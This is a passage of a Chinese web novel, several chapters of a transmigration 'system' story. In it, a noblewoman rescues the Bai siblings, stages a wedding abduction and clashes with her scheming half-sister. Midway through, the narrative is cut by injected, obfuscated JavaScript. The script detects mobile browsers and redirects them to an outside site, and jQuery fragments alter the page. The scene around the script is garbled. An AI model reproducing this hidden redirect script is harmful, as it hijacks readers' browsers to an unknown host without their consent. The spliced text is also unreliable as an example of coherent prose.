她不死心,又去稍远的巷子里打探。巷子里的住户很热心,有些话翻来覆去的讲,却只得到了几个已知的消息: 一、白夫人是寡妇,继承丈夫产业后,让俩孩子全都改姓白。 二、白夫人信佛,每次经商回府,不是布施就是念经,基本没有别的爱好。 这些信息看似有用,却对找人毫无益处。徐昭意咬着玉露团,盯着天色从昏黄到漆黑,这才净口起身,带着凝露施施然往青鹿苑走。 漆黑天色蒙人双眼,凝露提着小灯,一路不住看向徐昭意。 半响后,她忍不住道:“娘子真要去找那人?” 这么些天来,她虽对青鹿苑那位改观了不少,却是唯一一个还没改口叫“大娘子”的人。 “死马当活马医吧,”徐昭意柔柔的声音在暗夜里显得无奈。 “便是阿姐故意误导我,我也只能给她送一份谢礼了。” “娘子太心善了......”凝露戛然而止,瞪眼望前方。 徐昭意顺着视线看去,只见黑红衣裙在空中旋了一圈,树枝震动,新叶铺了满地,咔嚓声此起披伏,走来一个高挑妖冶的女子。 这府上,乃至整个京城,都找不到这般偏爱黑、红、紫三色的娘子。 是她的庶姐。 “阿姐你在干什么?” “无论我说什么,阿妹都准备给我送谢礼?” 徐昭意一顿,盯着那对在黑夜里依旧泛光的琥珀眼珠,微笑不语。 萧青越视力极好,哪怕是黑夜,他依旧看清楚了对面人唇边细微的弧度,以及眸底的轻微情绪。 他也站定不说话。 两人对视良久,气氛古怪复杂,逼得凝露没办法,不得不主动开口打破僵局 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徐昭意点头,凝露抿唇,一步三回头走到门口,对逐渐紧闭的木门虎视眈眈,似是下一刻就要越门而入。 徐昭意笑了笑,与萧青越同时坐下。 “阿姐几日前说有白家线索,不知是什么方向的线索?”她笑说,“阿妹这几日也差了不少东西出来,不若阿姐先告知阿妹方向,阿妹才好知道线索重没重。” 萧青越睇视良久,意味不明道:“阿妹对我如此放心,我也不得不给阿妹透点消息了。你这几日走访,想必也见识到了白家的檀香缭绕吧?都说白夫人信佛,可她为什么信佛,却无一人知晓。” 布施念经......徐昭意脱口而出:“悼念亡人?” 萧青越点头,语带诱哄意味:“悼念谁?” 徐昭意第一反应是悼念白夫人的丈夫,但转而一想,她成寡妇后做的第一件事,是把孩子改为“白”姓。虽说民间这般做的寡妇大有人在,可大都是与丈夫有仇怨的才会这般作为。 她蹙眉许久,终是道:“白夫人的丈夫,云记当铺原大当家。”她还是顺从了直觉。 萧青越奇道:“你不觉着怪吗?” 徐昭意睨着那双迷雾般的狐狸眼,视线回转,忽而唉声叹气:“夜已深,阿姐要再不说,父亲只怕要来了。” 就凭徐国公对庶姐的重视劲儿,这句话真有可能成为现实。 他会害怕原配女儿对外室女不利,只要想想,她就想笑。 但她压下了笑意,只柔柔睇视,瞧不出情绪。 萧青越无奈点头:“确实是云大当家。” “那这与救白家兄妹有何关联?”徐昭意敏捷反问。 “那这一切,都要从背后的谜团说起了。”萧青越撑着下巴,“但阿妹还记得我几日前说的话吗?再后面的内容......” 笑音朗朗:“我当是要收些报酬的。” 徐昭意一眼望进那双琥珀色的狐狸眼里,烛光昏暗,月光冷意穿缝而来,点点落于眼角。 她这才发现,他的眼珠不是存粹的琥珀色,还带着点沉郁的暗金。 13. 暗访劫人 “当然记得。”徐昭意不动声色,“不知阿姐要问些什么?” “你这盒金银花效果甚好,我快用完了。”萧青越捞过蛇纹匣,漫不经心把玩着,“不知阿妹可有存货?我还想再要些。” 徐昭意仔细辨别着对面人的脸色,肤白如玉、唇色嫣红,瞧不出中毒迹象。 她心中疑窦丛生,面上不动声色道:“阿妹那里还剩一些,阿姐若想要,可自行拿去。” 说罢蹙眉,又有些为难道:“可惜这玩意儿难得,再多的,阿妹这里也没有了。” “那哪里还有?”萧青越温声道。 徐昭意敏锐抓住那一丝不稳的气音,笑道:“戎州吧,阿姐可找人去戎州茂泰县转转,三四月份应当也有消息了。” 萧青越磨着指腹,狐狸眼弯成一把钩子,“既然阿妹毫无保留,那我自当毫无保留。云大当家与救人一事有何关联呢?这便要从云大当家如何身亡说起了。” “话说这云记药铺在前朝可是响当当的金字招牌,乃皇家钦定药商,放天下商户里是独一头的尊贵!只可惜新朝建立,云家备受打压,只得韬光养晦。眼见不复前朝荣光,历代家主憋着口气,皆等着‘光复门楣’的时机。 两百年后,云大当家眼见时过境迁,便动了心思,暗中结交户部官员,欲借阴山战事之机重振家声。可谁知那户部官员祖上竟与云家有旧怨!他表面应承,背地里却刁难云大当家,要他亲押药材赴边关。 云大当家为家族计,咬牙踏险途,不料途中遇袭,身家性命全丢不说,云家百年基业亦折损近小半!他的尸首找回那日,恰是三年前的二月七日。此后每逢这日,白夫人必于佛堂诵经,不闻外事。是以若想救人,此乃良机。” 二月七日,正是三日后,刚好有时间准备。 【恭喜宿主获得关键线索,凤凰游叠加任务进度条:20%】 【凤凰游系列任务二:寻找男三身世,进度条:10%】 真该说庶姐不愧是女主吗?明明只是一介镖师,却偏偏知道很多她都不知道的东西。 若不是有系统傍身,她说不准真无法斗倒这个女人。 徐昭意眯眼,忽而问道:“阿姐可是学过相声?阿姐讲的故事不仅有声有色,还辞藻考究,一看就是有大学问在里头的。” 萧青越唇边笑意一顿,眼角耷拉下来,“我常年行走在阴山,那地方没甚么好东西,也就行军相声讲得最为出彩。若阿妹感兴趣,下次我还能给你再讲一个。” 徐昭意摇头,语带打趣:“阿姐懂得真多。” “以前走镖,走得多了,听的自然也多了。”萧青越看向窗外,“时候也不早了,阿妹再不走,父亲便要来了。” 徐昭意笑意微收:“天色已暗,我就不打扰阿姐了。” 她步履轻盈走到门口,推开前顿了顿,“阿妹还是得感谢阿姐的合盘而出。” “阿妹以诚待我,我自当以诚待之。” 语毕,关门的哐当声随之响起。门缝隙闪过凝露得意的笑脸。 萧青越听着门外稍显急促的脚步声,蓦地笑了。 相声?他确实会讲,但无人敢听。 * 三日一晃而过,期间徐昭意收集一些白家宅院的消息,与卢平丹叽里咕噜好久,勉强制定出一个完美方案。 哪怕有系统保底,她也不会尽信萧青越的话。她暗地里又派多方打听一阵,在发现姐姐没骗她后,这才制定了方案。 方案只有她和卢平丹知道,她又找了两个抓过飞贼、轻功极佳的暗卫,几人一通收拾,终于在七日清晨秘密出发。 按照巷子百姓的口述消息,白夫人日出时分便去佛堂念经了。她们鬼鬼祟祟到了朱墙边,由凝露带徐昭意,卢平丹带小舟,三三一队分院找人。 白府虽比徐国公府大,却也没大多少,最多就是三个院落外加一个小佛堂。已知主院与佛堂都是白夫人的地盘,两队便去剩下两个院落分头行动。 徐昭意负责救白郎君,她与凝露以及另一个叫雀香、做婢女打扮的暗卫一起,从侧门翻墙而入,自后花园一直绕到院落。 哪怕凝露尽量小心了,徐昭意从巍峨朱墙上一跃而下时,身上还是发了些虚汗。她稳住惫软身子,凝神思考着巷子百姓的话。 “白娘子爱抚琴,天籁琴音一般自东边出,是以大家伙儿都猜东边院子住着白娘子。至于白郎君嘛,听闻极爱文墨之物,所属院落定当充斥馥郁墨香。” 她们仔细避开往来婢女小厮,穿过几个石洞,不期然闻到一股浓郁墨香。 但眼前景色显然与徐昭意认知中的郎君院落不太一样。 虽说墨香浓郁,可门上却挂着数朵绢布大红花,院中放着几个凤仙花盆,回廊悬挂琉璃灯,灯下还缀着绢布石榴花。再往内走几步,还能瞧见窗棱遮掩下的五色缕,和一角鸳鸯戏水图。 这比她的闺房还华丽喜庆些,就仿佛内里住着个即将出嫁的娘子,在日夜缝织嫁衣。 “娘子......我们真没走错吗?”凝露也很疑惑。 雀香率先进去打探,不多时回来汇报:“确有一个观音面的白袍郎君坐在岸边默读诗卷。” 为了给徐昭意吃定心丸,任务系统也及时“叮”了一声。 【恭喜宿主获得关键线索,凤凰游叠加任务进度条:50%】 【凤凰游系列任务二:寻找男三身世,进度条:50%】 两个任务进展一下到半,徐昭意稳住心神,现在是人是鬼都要去闯一闯。 她们沿着隐秘处走,转弯藏在连廊下,用巨大檐柱遮挡身形。 不远处的白袍郎君还在悠闲垂钓,压根儿没有往这边来的念头。而前面婢女过多,她们一旦再发出点动静,就绝对会被发现。 徐昭意瞟过日渐稀疏的白梅花树,眼珠一转,从袖中掏出一朵花瓣微卷、光泽较弱的白梅,递给凝露。 “你用力往前抛,离白郎君越近越好。” 那日斗诗结束后,也不知出于什么心理,她将这朵白梅放进花瓶,精心养起来。功夫不负有心人,几日过去了,白梅依旧能看出原本面貌。也算是无心插柳柳成荫。 凝露捧着白梅,诧异看徐昭意一眼,随后小心捏住一片花瓣,仔细运力,将白梅远远掷到白轻落脚边。 白轻落垂钓的身影一顿,拾起白梅,细细打量许久。他放下鱼竿,仙人似的面孔带浅笑,轻声与周 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“家母喜佛,每每归家,便会日夜烧檀香。”白轻落扶额睁眼,含情目凝视徐昭意,“不知徐二娘子找鄙人所为何事?近日家母正准备家妹大婚,鄙人恐没时间陪二娘子玩游戏。” “家妹大婚......”徐昭意喃喃,凤眸轻眯,“真的是白娘子大婚吗?若只是白娘子大婚,白郎君为何会在此处?” 白轻落靠着石壁,垂眸间带着不常见的锐利,“家妹大婚,我身为兄长陪伴左右,似乎也没什么?但徐二娘子这般急切救我兄妹二人出府,所求又为何?” 场面一度鸦雀无声,凝露偏头瞧了沉思的徐昭意一眼,扯过雀香的袖子,稍稍往后退一步。 “汇祥阁背后的人是谁?”徐昭意弯眼笑,“若我所猜不错的话,当是远在戎州的太子殿下吧?而白郎君即将定亲的对象,却是文小娘子,是贵妃那边的人。更重要的是,白夫人给白娘子定的亲事,却是高家旁支,正经的太子党,与白郎君正正相对。” “那与我出逃又有何关联?”白轻落反问。 “白郎君一旦缺席白娘子的婚事,贵妃那边自然便知晓郎君意愿,郎君还能继续当翰林学士。若是不缺席......”徐昭意笑了笑。 “徐二娘子真是狠人一个,家妹一辈子就这一件大事,你竟叫我逃离。”话虽这么说,白轻落却未动怒,“难怪坊间传闻徐大人两位女儿相亲相爱,半路来的也宛若一家人。” 被刺一句,徐昭意还是笑着:“所以白郎君走不走?” 她并未跟白轻落说,还有另一支队伍去救了他妹妹。他妹妹毕竟是新娘子,逃跑难度大,万一人没救成,这人心中的感激就会变成怨怼。 不若先不说,若平丹那边顺利的话,她不仅能完成任务,还能顺路得到男三的愧疚和更深的感激。 老子言的“轻诺必寡信”无外如是。 白轻落思绪千回百转,正要开口时,一道威严女声打断一切:“你们计划的是很好,可徐小娘子,你带走的是新娘子,不是我儿。” 【凤凰游系列任务二:寻找男三身世,进度条:100%。宿主圆满完成任务,还请宿主再接再厉!】 原书男三是女儿身? 14. 抢婚大计 徐昭意豁然看去,却见一妇人立于石洞外,淡淡地看着她们。 她穿着青灰襦裙,外罩藕荷色半臂,鬓角插白梅,瞧起来素净又威严,当是白夫人。 徐昭意唇角微动,下意识打圆场时,忽而意识到另一个问题。 这附近压根没有落脚地,进出入通道被她们几人挡得死死的,白夫人是如何进来的? 一道凌凌轻响顺着春风传入她的耳畔,她眯眼扫过周遭安静的石洞群,檀香愈发浓郁。 这个声响……她握拳,左右扫视一圈,就在疑心自己听错时,一片紫色乍然飘过! 她死死盯着那处,赫然发现有一角门檐,隐在白夫人青灰的裙摆和嶙峋石块间。 白家的佛室竟安置在石洞内? 庶姐可在里头? 若庶姐真在里头……那说明她与白夫人认识,且交情匪浅。 那么她与白倾落迟早会见面。 虽说如今徐昭意知晓白倾落是女儿身,可白倾落后头确实是实打实的丞相。 说不准原著里庶姐就与白倾落处成了闺中好友,只是被作者写成了裙下之臣。 她不想白忙活好几天,便只能另想一个法子让白倾落认准她。 她要确保以后,哪怕白倾落认识庶姐了,也不会背叛她。 白夫人瞥过晃神的徐昭意,腕间的檀木佛珠缓缓转动,“徐二娘子救错人了罢,我儿在东边院子。” “也不对,”她又急促笑了下,“那几只可爱社君早把我儿劫走了,现下只剩落姐儿还在院子里了。” 徐昭意蹙眉,半响没回过神来。 “娘......”白轻落欲言又止,“其实女儿是主动想走的,与徐二娘子无关。” “你真想走?”白夫人抚过腕间佛珠,神色不明。 白轻落盯着白夫人,抿唇许久,终是坚定点头。 “过了此山无鸟叫,高家世代军勋,本不是我等商户能高攀上的,若不是......”白夫人话音一转,“落姐儿好好考虑,你若真想走......” 她的视线落在凝露和雀香身上:“她们武力高强,娘也拦不住你。” 白轻落垂首转身,拉了徐昭意一把,低声急促道:“快走!” 徐昭意回神,示意雀香带上白轻落,她紧握着凝露,四人步履如飞。 她们快要离开这处石洞群时,那道女声又悠悠传来。 “不过落姐儿,高白两家的婚礼是不会取消的,能否逃婚取决于你自己。” 白夫人说完,又在原地立了一会儿,这才慢悠悠走回佛室。 佛室内坐着一位华服云鬓的妖冶女子,阴恹懒散的气质与满室檀香格格不入。 白夫人丝毫不在意,她将桌案佛经合上,转身恭敬道:“妾身方才也瞧过徐二娘子了,她与那些娇弱贵女并无不同,大人为何这般警惕她?还因此要妾身放落姐儿走?” 高白两家的姻亲就是眼前人促成的,先前她怒极,将俩孩子绑回府,也是怕他们乱来耽误眼前人的事情,从而惹出滔天大祸。 可现下他的态度却很模糊,似是在观望什么,这让白夫人很疑惑。 按照她对眼前人的浅薄理解,一般人惹他不快,几乎转瞬毙命,身份再尊贵的人也是非死即残。从未见过让他凝神想对策,还能活蹦乱跳至今的人。 “她有些古怪,”萧青越不欲多言,“先静观其变,看她们能玩出什么花样吧。” * 那厢卢平丹刚扶着怀中人落地,还没等人离开,便攥紧白云疏的腰身,拧眉上下扫视,嘴里还喃喃着:“你真是女子?” 她是常年习武之人,最清楚男女之间的差距。 他的肩颈修长,线条却比寻常女子硬朗,哪怕被人扶着走,脊背依旧挺得笔直,不似闺阁女子那般柔婉。 她方才抱上去时,手臂环过他的腰侧,掌心触到的不是女子应有的柔软曲线,而是紧绷的肌理,力道沉稳得几乎能托住她全身重量。 那一瞬,竟像是他在扶她,而不是她扶他。 这念头哪怕只是一闪而过,卢平丹依旧浑身一激灵,暗自观察起了白云疏。 这越观察,便越发觉着不对来。 白云疏的吐息比一般女子炽热,身形消瘦却依旧沉甸甸的,不符合同体态女子轻盈的特征。种种特征无一不指向一个事实——白云疏或许是个男子。 为了不拖累逃跑进度,她忍而不发,一直安全抵达接头地点时,这才猛然发难。 白云疏腰身吃痛,面上却不露分毫,只垂首静静盯着卢平丹的眼睛。 她的眼型很漂亮,是水灵灵的杏眼,里面两颗黝黑眼珠又大又圆,猫儿似地一转便泄露了所有情绪。 他莫名想起初见时,她傻头傻脑地指天,说他的名字与天空一样。 她许是胡言乱语,但却一语中了。 其实他们也才认识几天......心思流转间,白云疏鬼使神差地承认了。 他盯着卢平丹,认认真真回答:“欺骗了卢娘子,我很抱歉。” 他的话音微顿,视线扫向腰间紧紧攥着的手,又玩笑似地开口:“既然卢娘子已经知晓我的身份,咱们再这样靠近,恐怕大为不妥。” 卢平丹说不上什么心情,心底猜测被证实并没有让她心情好转,反而若一团雾气堵在嗓子眼,憋闷得难受。 她恶狠狠瞪白云疏一眼,临近放手时手指力量加重,待听见他倏忽急促的呼吸声后,这才满意点头,松手远离好几步。 白云疏垂眼扫过腰间,轻轻叹息,随后看向卢平丹,刚准备说些什么,就见她撒欢似地跑向一侧,抱着急匆匆赶来的人哀嚎。 “你可知道那白娘子是个男的!” “若不是我抱他的时候意外发现了不对劲,他不知要瞒我多久!” “怎么会有扮女装的郎君呢!” 卢平丹将脑袋埋在徐昭意的颈边,眼尾也气红了。 郎君女装乃大辱,一旦传出去,莫说娶妻生子、金榜题名,便是出门买菜都要遭人嫌眼。 当世骂郎君最狠的话,就是“你长得比小娘子还美”。郎君们都以娘里娘气为耻,更别提女装了。 而卢家满门将员,向来以阳刚威武为傲,从小深受熏陶的卢平丹更是受不了女装的郎君,她攥着徐昭意的袖子,心中似万蚁爬过,难受非常。 “我也是才知道。”徐昭意揉揉她的脑袋,叹息一声,惯常柔笑敛起。 她抬头直视白家兄妹,眼带追问意味,却是不言不语。 虽说白家兄妹不是主动出逃的,但他们既已随她们走了,那主动权就在她们手里。为防止后续出错,她还是希望他们能将一些事情解释清楚。 “冒犯了卢娘子,我很抱歉。”白云疏清咳一声,扫过不肯看他的卢平丹,语含无奈,“我的女装和轻落的男装,背后是有缘由的。” 他顿了顿,话还未说完,一旁急匆匆赶来的白轻落气还没喘匀,就接过话柄:“原因在我,是我不甘困于女儿身,满腔才华无处施展,这才央了哥哥互换身份。哥哥并不是天性爱女装。” 她迎着徐昭意的目光,缓了几口气又道:“汇祥阁是我的知遇地,再多的消息,恕我难言。” 徐昭意摇摇头,温软笑道:“我们也不是什么多事人,救二位出来,也只是看在白娘子的赠梅之情上。现下最重要的,不是将你们背后的难情讲出来,而是想想怎么应对几日后的高白两家大婚。” 她看向白轻落:“毕竟新娘子都不在了,婚礼该如何进行呢?” 白云疏豁然看向白轻落,白轻落叹气,只得将母亲不肯取消婚约的事情说了出来。 几人一度陷入沉思,满堂静里,卢平丹忽而出口:“我曾听二哥说过,他去郝洲游历时,曾遇到过一个奇事。当地两家结姻亲,成婚当日,新娘子却被周边土匪劫走了。因着这事不光彩,两家打落牙齿和血吞,便临时换了新娘子。” “白家只白娘子一个女孩儿,若是中途被人劫走,也连累不到其他人头上。”卢平丹抚掌而笑,视线不经意扫过白云疏,又倏忽收回来。 白轻落正想同意,一旁的白云疏抢先道:“我来扮新娘子吧。” 白轻落皱眉,“哥哥不能涉险。” * 三日后,酉时三刻,天朗气清,宜嫁娶。从高家到白家一路红绸,锣鼓声老远便能听着,路上挤满了等着喜钱的老百姓们。 “你们听说了吗?这高白两家大婚,那圣眷加身的白郎君却没出席!啧啧,白瞎了那些才华,为了权势连寡母幼妹都能丢弃,真是个不知不扣的白眼狼!” “白郎君瞧着才不是这样的人!” “你这小丫头净看脸,不知人心险恶啊!高家那是什么门第,宋家又是什么门第?他妹子嫁入高家,那不挡了他向宋家,向那贵妃娘娘献殷勤的路吗?人人心中有杆秤,他这杆秤,怕是歪得毫不留情啊!” 说话人瞧着已至而立,一身洗得发白的布袍,像极了进京赶考的穷酸书生。 捡人家喜钱还说人家坏话,不要脸。 那衣着鲜艳的小娘子狠狠瞪了他一眼,暗呸声“晦气”,又推搡着往一旁挤,不凑巧还撞到人了。 她下意识想道歉,不料眼一抬,又呆立当场。 面前娘子半纱掩面,却是犹抱琵琶半遮面,挡不住的我见犹怜。 “能劳烦小娘子帮我个忙吗?”仙女儿开口,声音也好听。 小娘子怔怔点头,就见那仙女儿递给她一包个荷包,叫她去对街酒馆寻一郎君。 她问起特征来,那仙女儿只笑道:“形似观音的那个就是了。” 小娘子跟个呆头鹅似地跑过去,果真见到一观音似的郎君在垂首独酌。她涨红了面,搓着手,扭扭捏捏上前小声道:“这位郎君,对街有位姐姐给你送荷包。”说完递上荷包。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754527|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >白倾落垂眼一扫,接过荷包却没让那小娘子走,反而从荷包中掏出一串铜钱,“有这些买酒钱够了。”说罢将荷包递给小娘子。 不等小娘子拒绝,她压低声,显出几分不好意思,“我与对街那位姑娘未与父母事先商量……小娘子可否帮忙隐瞒?这就当封口费了。” 小娘子想着两人般配的形貌,嘿嘿笑了下,忙不迭点头,下意识接过荷包。 等反应过来时,那两人都不见了! 她傻傻捏着荷包,左右四顾,唇角忍不住扬起。 诶呦她个好运气,不仅亲眼瞧见了话本子里才有的才子佳人戏码,还白白得了笔横财!果然离开那个酸书生,连老天爷都肯赏脸了! 不远处的杨树阴影地,一对才子佳人借着四周等喜钱的百姓遮掩,在树下心心相惜。 大家伙儿都会心一笑,默契地不去看。 “贵妃娘娘的人跟上来了吗?”徐昭意借面纱遮掩,不动声色看了眼四周。 “从方才酒馆就开始跟了。”白倾落隐有不安,“你确定要这么做吗?” 三日前,徐昭意费尽口舌说服白倾落同意让白云疏替嫁,只因她另有大计。 白倾落以兄长身份刻意缺席婚礼,并在暗中搅局,方能彻底取得端贵妃的信任。 此事看似简单,实则凶险。端贵妃党羽绝非庸碌之辈,岂会轻易重用背主之人?他们最忌惮的,正是这等反复无常之徒。 菩萨娘子为联姻被迫舍弃医馆之事已传遍京城。兄长不忍胞妹因婚事丧失自由,故而大闹婚礼,这理由倒也说得通。 但白倾落绝不能真正破坏婚礼,需得做些表面功夫——既要显出竭力阻挠之态,又得确保最终劫走新娘的必是“高家人”,至少要让众人认定是高家内斗所致。 一旦兄长得知妹妹为高家人所害,定会对高家恨之入骨。届时无需贵妃派的人出手,兄长自然会成为攻击高家最锋利的一把剑。 且贵妃势力必定出手。徐昭意她们要制造的假象,是让贵妃以为行动失利,却另有人趁乱劫亲。依她对贵妃的了解,对方定会顺水推舟继续重用白倾落,同时暗中彻查真相。如此既为白倾落争取周旋时日,又为后续谋划留足余地。 此计最险要处,在于如何既从贵妃眼皮底下救人,又不惊动这条她;既要保全白倾落清白,又得抹去徐昭意所有痕迹。三者缺一,便是满盘皆输。 “确定。”徐昭意笑,“你可还记得你答应过我的事?若此事成功,你就是我的人了。以后贵妃一脉有什么情报,你得第一时间告知于我。” 任务系统曾提过男三的宰相之路,说男三原是靠贵妃起家,后暗中投靠男女主,收集贵妃一脉的贪腐证据,最终从内部打到贵妃一脉,凭借巨大功绩成为新朝的户部尚书。 徐昭意知晓阻止白轻落与庶姐见面不现实,便利益最大化,利用白轻落窃取贵妃一脉的信息,顺道暗中推测剧情走向。 “放心吧,我白倾落是重诺之人。”白倾落神色复杂地看了徐昭意一眼,到底什么都没说。 两人交谈间,锣鼓声愈发近了,仿佛新娘子一炷香后将至。 她们对视一眼,借着徐昭意宽大裙摆的遮掩,白倾落迅速用打火石取火,随后弯腰,用一种外面人看来是拥抱的姿势,点燃了混杂在草堆内的引线。 她们将火药埋得极深,现在点燃,离爆炸还有一炷香的时间。 徐昭意数着时间,没多久咬破嘴里的药丸,内里的红米水顺着唇边蜿蜒而下。 她眨眨眼,泪水顷刻滴落,混合血水掉落在地。 “明娘!”白倾落大叫,将徐昭意身形挡住大半,外围百姓只能见到女子不断掉落的血水。 “高家花轿来了!喜钱来了!” “大喜之日见血乃大忌!” 不知谁喊了一声,周遭百姓作鸟兽散,纷纷跑前面抢喜钱去了。偶有几个看不过眼想去搭把手的,也在那男子抱着女子左右乱跑的癫狂神情中,悻悻收回手。 谁都知道疯子是招惹不得的。 那小娘子也是可怜了。 抱着这样的叹息,杨树下很快没人。可哒哒声随之响起,几个黑衣黑甲的禁卫军出现在两人面前。 “青天白日扰乱秩序,将她们抓起来!”为首校尉皱眉吩咐。 那男子看校尉来了,挣扎得更厉害,却也是徒劳。两人就这么相拥着被压上马车,推搡间倒在杂草堆上。 压人的囚车与喜庆的马车擦肩而过,众人正觉晦气时,一阵爆破声响,几声“拿命来”晃过众人耳侧。 禁卫军们执刀而上。 爆竹烟气渐消,眼看着禁卫军即将捉拿那些蒙人贼人,爆破声又响。浓烟铺展开来,比先前的雾气更加持久。 一片紫色花筏轻轻飘进马车,落在徐昭意眼前。 她呛声咳嗽,忍着浓烟吃力睁眼 ——却见花筏上印着两尾交织的狐狸纹。 15. 收服男三 徐昭意忍着泪水斜眼往上看,却见一道鹅黄色身影在浓烟中一晃而过。 她的耳边似乎响起清软笑音。 心脏处愈发窒息,她彻底撑不住,阖眼晕过去了。 再醒来时,是在一家客栈。 徐昭意还未起身,卢平丹便凑过来,面上是少见的平静。 “白郎君不在二哥那里,二哥说他也不知道白郎君去哪里了。” 卢平丹在原先的计划里受命保护白郎君,全程充当新嫁娘的闺阁好友贴身保护,一直到上花轿为止。 谁料到这人刚上花轿就丢了。 她本来焦急又内疚,却越想越不对,便直接冲进接头的客栈问徐昭意。 这一问还真给她看出一点不对劲来。 她的语调平平,但徐昭意却听得心底发凉。 她们之间太熟悉了,熟悉到彼此一个眼神就能发现对方的不对。 “你没有按计划行事,你留了后手。”卢平丹攥紧拳,“你是不是把他送走了?为了控制白娘子。” 以一物制一物,卢平丹以前在暗地里领教过徐昭意的手段。 那时卢平丹还小,看不懂徐昭意当姐姐面一套、背姐姐面一套的手段,被她忽悠过好几次,被姐姐逼迫对她好。 虽说现在两人关系颇好,但卢平丹依旧忘不了她的那些手段。 “卢二哥。”徐昭意忽然转头,看着门口咳起来。 “阿妹莫怪昭意妹妹。”黑衣黑甲的卢二哥焦急走来,“我话没说清,是我原本想要把白郎君劫走,送他去戎州,却没料到暗中出现第三方势力,把弟兄们拦下了。” 卢平丹本来很平静,一听他说话,登时瞪眼,“你要送白郎君去戎州?为什么?你为什么不跟我说,却跟二哥说?” 卢平丹炮语连珠,徐昭意缓缓起身靠着,露出熟悉的无害笑容,“白郎君是我师兄。” 卢平丹呆住,“你再说一遍?” 她怎么记着昭意的师父是个游方道士?怎么就变成白郎君的师父了! 徐昭意好声好气道:“我也才知晓白郎君是我师兄,师父来信说师兄身体不好,再不去戎州治病,会连累到他的寿数。她还说师兄早一个月是同意去戎州治病的,这几天不知怎么了,竟临时反悔不去了,这才让我使计把师兄运到戎州去。” “所以我和二哥都是个幌子?”卢平丹心底不是滋味。 卢二哥瞅她,“昭意妹妹跟我说过我是幌子。她本来叫我接完白郎君后,悄悄放他走的。也不知为何,最后劫走白郎君的成了别人。” 卢平丹更气了,她瞪着徐昭意,满脸不可置信:“你连二哥都信,但就是不信我?” 徐昭意抿唇:“事关重大......” “就凭你对那小子的过度关心,我们也不能把计划告诉你,万一你坏事了怎么办。”卢二哥抱臂,又转头问,“劫走那小子的人是谁?不会真对那小子不利吧?” 卢平丹越听心越乱,转身欲走。 徐昭意想到那两尾交织的狐纹,面色有些淡,“如果我猜得不错的话,应该不会……” 【凤凰游叠加任务:请宿主前往白家救人。时限一月,进度:100%】 【因宿主表现良好,将开启与男三独处篇,还请宿主趁此机会收割男三忠心】 徐昭意刚准备解释的话语被任务系统打断,她眼睁睁看着卢平丹推门出去,几个跃步消失在鳞次栉比的房屋间。 卢二哥大咧咧安慰:“小妹就是这性子,昭意妹妹你别往心里去。” 徐昭意抿唇,“此事确是我之过,平丹如何怨我也是应当。” 两人静默之时,门口忽然冒出一张观音面,她疾步向徐昭意走来,“二娘子,阿兄呢......” 徐昭意看了卢二哥一眼,卢二哥心领神会,几下起跃,也往卢平丹那个方向跑去了。 她这才转头看向白轻落,面前女郎相较前几日明显憔悴了许多,含情目下蕴着青黑。 徐昭意的唇抿得发白,艰难开口道:“白娘子,此事是我对不住你……你放心,我明日定会找到白郎君的!” 白轻落定定看着面前少女,她长得若春日柳絮般柔弱不堪,但周身气度却是从容不迫,令人信服。 但这人却骗了她,不仅没有把她哥送到指定地方,还丢了她哥。 若不是那人指点了她,她都不知道面前这人是个骗子。 “好。”她郑重地笑了笑,“若二娘子找得到阿兄,以后但凡有轻落帮得上忙的地方,请尽管开口,轻落定当全力以赴!” 【支线任务:汇祥阁上凤凰游,诗词一首,男三我有。圆满结束!】 【恭喜宿主获得未来丞相的信任!】 【主要任务:夺取男女主资源,扶持男二上位。进度条:40%】 徐昭意柔笑:“那我就不客气了。” * 经过连续几日的忙碌,徐昭意本就病弱的身子更加雪上加霜。她斜靠在美人塌上,昏沉间唤人来添水,却不料进来一个不算熟悉的面孔。 “你是......叶荷?”徐昭意眯眼,“凝露和花尽呢?” 叶荷抬头看了她一眼,神色讶然又不安:“两位姐姐在准备冯嬷嬷的回归事宜。” 徐昭意一怔,算算时间,嬷嬷也确实该回来了。往年这时候,她往往最兴奋,可今年她在干什么呢? 她怔怔盯着平静茶面,下垂眼睫带着不自知的茫然颤动。 “......娘子,娘子?” 徐昭意回神,她又露出常见笑容,抬手让叶荷下去。 她将茶水一饮而尽,随后卧枕小息。 一炷香过去后,她复又睁开眼,揉揉太阳穴,叫人进来服侍穿衣。 这次进来的是花尽。 “嬷嬷怎么样了?”徐昭意撩起颈边碎发,垂眸问道。 “......冯嬷嬷在忙孙子的一些事,大概要迟些回来。”花尽手上速度不减。 徐昭意没注意到那瞬的停顿,眼见收拾好了妆发,便扶着花尽去了青鹿苑。 路途鸟鸣渐起,婢女哒哒路过,鸟声、人声与风声混合在一处,刮向橙蓝交接的天尽,扑通落在素白垂花门上,留下一片碎金影。 影子扫落处,有一道高挑身影坐在秋千上,闲闲晃着,似是下一秒便会说出—— “昭意来找阿娘诉委屈了?” “阿妹找我何事?” 徐昭意晃神,唇边笑意温软,眸光融融,“昭意想找阿姐诉些委屈。” 萧青越松开绳索,抚平裙边皱褶,徐徐起身笑道:“难得阿妹来找我诉委屈,京城之中谁敢欺负徐二娘子?” 徐昭意松开花尽,主动上前一步,凑近萧青越,轻嗅他身上不明显的冷香,在耳边徐徐笑开:“阿姐你呀。” 萧青越眸底笑意晕染开来,他看着面前少女让婢女守门,拉着自己一步步迈进寝居。 “阿姐坐吧。”她反客为主,抬手倒了杯茶递给他,“这茶挺好的,阿姐趁热喝。” “阿妹说的欺负所指为何?”他唇边笑意加深。 “阿妹将监守青鹿苑的暗卫去的七七八八了。”徐昭意答非所问,上身前倾,“所以阿姐能不能不再插手阿妹的事情了?” 说是插手,简直太委婉了。青团的警告、路上的监视、白家故意的破绽,抢亲明晃晃的协助,一桩桩、一件件,无不昭示着他在监视她,还是明晃晃的、不加顾忌地监视她。 徐昭意很讨厌这种被窥伺感,这让她头顶发麻、日夜难眠。明明她才是有系统、知道剧情走向的人,为何这个姐姐还是这般捉摸不透、阴魂不散? 